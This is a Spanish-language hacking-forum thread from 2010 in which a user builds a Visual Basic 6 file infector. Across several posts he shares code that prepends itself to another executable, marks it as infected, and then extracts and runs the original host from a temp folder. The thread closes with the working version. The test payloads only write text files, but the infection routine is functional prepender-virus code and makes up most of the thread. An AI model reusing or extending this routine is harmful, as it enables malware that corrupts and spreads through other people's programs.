Infección exe con Visual Basic 6 (SOLUCIONADO)

Iniciado por r0xSoFT, 19 Junio 2010, 02:14 AM

0 Miembros y 1 Visitante están viendo este tema.

r0xSoFT

Wenasss noches gente.


Tengo una duda/problemilla con mi aplicación. Os comento.


Estoy desarrollando un proyecto... blablabla (tipico xDD). Total, que realizo la infección de un exe abriendolo, cogiendo su codigo (victima), abriendo mi prog, cogiendo mi codigo (atacante?) y reescribiendo la victima con mi codigo, y despues con el suyo.

El tema está en que para hacer pruebas, lo que la victima hace es crear un txt llamado "hola", y mi prog crea otro txt llamado "bu.txt" (si, nombres originales... xDD). La "infección" va bien, el exe pesa lo suyo (victima+atacante), pero solo crea el fichero "bu.txt" (siempre y cuando primero inyecte mi codigo en primer lugar). La pregunta es: ¿no debería crear los 2 txt´s?. Ya se que es muy básico, pero necesito saber si una vez ejecutado mi codigo, el otro exe (la victima), sigue con lo suyo...


PD: La función la saque de este foro (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html). Como supongo que necesitais el codigo, lo adjunto.


Salu2 y gracias anticipadas!!!!!

Codigo "atacante"

Código (vb) [Seleccionar]

Private Sub Form_Load()
Open App.Path & "\bu.txt" For Output As #2
Print #2, "aaaa"
Close #2
infectar ("prog1.exe")
Unload Me
End
End Sub

Function infectar(ByVal Victim As String)
   On Error Resume Next
   Dim VictimCode As String
   Dim NewCode As String
   Dim MyCode As String

'Mi codigo
   Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
       MyCode = Input(LOF(1), 1)
   Close #1

'Victima
   Open Victim For Binary As #1
       VictimCode = Input(LOF(1), 1)
   Close #1

   NewCode = MyCode & VictimCode

'Final
   Open Victim For Binary As #1
       Put #1, , NewCode
   Close #1
End Function



Codigo "victima"

Código (vb) [Seleccionar]

Private Sub Form_Load()
Open App.Path + "\hola.txt" For Output As #1
Print #1, "hola"
Close #1
Unload Me
End
End Sub
Bienvenido al extasis de la culminación de mi crisis.

Dreamaker

Coloca tu código entre [+code=vb][+/code] por favor (Sin el "+")

Gracias ;)

r0xSoFT

Ta ta, sorry por el despiste...

Alguno me exa una manilla ??
Bienvenido al extasis de la culminación de mi crisis.

r0xSoFT

Ya sta, al final logré correr el huesped con un createprocess xDD.


Salu2!
Bienvenido al extasis de la culminación de mi crisis.

r0xSoFT

Pongo el codigo funcionando (lanzando el huesped con un "shell")

Código (vb) [Seleccionar]

Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String

Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1

sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección

Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1

End Function

'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String

sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus

Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1

Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1

Shell sFinal

End Function
Bienvenido al extasis de la culminación de mi crisis.